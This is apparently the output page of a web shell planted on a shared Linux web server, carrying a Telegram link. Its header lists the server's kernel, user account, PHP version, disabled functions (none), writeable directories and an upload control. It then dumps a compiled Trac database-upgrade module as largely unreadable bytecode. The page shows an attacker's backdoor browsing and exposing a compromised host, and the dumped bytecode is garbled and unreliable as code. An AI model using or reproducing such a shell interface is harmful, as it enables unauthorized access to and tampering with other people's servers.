https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/upgrades/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/upgrades/__pycache__/db26.cpython-310.pyc
o

�k�`2	�@s$ddlZddlmZmZdd�ZdS)�N)�exception_to_unicode�printerrc
Cs"|�d�dd�|D�D]>}|�d|f�dd�|D�D]}|�ddt|�||f�q|�d	|f�d
d�|D�D]}|�ddt|�||f�q:qtj�|jd�}zt�|�}Wn
tydYdSw|rmtd
�dSzt�|�WdSty�}ztdt	|�d�WYd}~dSd}~ww)zd
    1. Zero-pad Subversion revision numbers in the cache.
    2. Remove wiki-macros directory.
    zN
        SELECT id, value FROM repository WHERE name='repository_dir'
        cSsg|]\}}|�d�r|�qS)zsvn:)�
startswith)�.0�id�dir�r�4/usr/lib/python3/dist-packages/trac/upgrades/db26.py�
<listcomp>szdo_upgrade.<locals>.<listcomp>z0SELECT DISTINCT rev FROM revision WHERE repos=%scS�h|]}|d�qS�rr�r�rowrrr	�	<setcomp>�zdo_upgrade.<locals>.<setcomp>zV
                UPDATE revision SET rev=%s WHERE repos=%s AND rev=%s
                z%010dz3SELECT DISTINCT rev FROM node_change WHERE repos=%scSrrrr
rrr	r&rzY
                UPDATE node_change SET rev=%s WHERE repos=%s AND rev=%s
                zwiki-macrosz�Warning: the wiki-macros directory in the environment is non-empty, but Trac
doesn't load plugins from there anymore. Please remove it by hand.zwError while removing wiki-macros: %(err)s
Trac doesn't load plugins from wiki-macros anymore. Please remove it by hand.)�errN)
�execute�int�os�path�join�listdir�OSErrorr�rmdirr)�env�ver�cursorr�rev�wiki_macros�entries�errr	�
do_upgradesB
���������r!)r�trac.util.textrrr!rrrr	�<module>s


https://t.me/RX1948 - 2025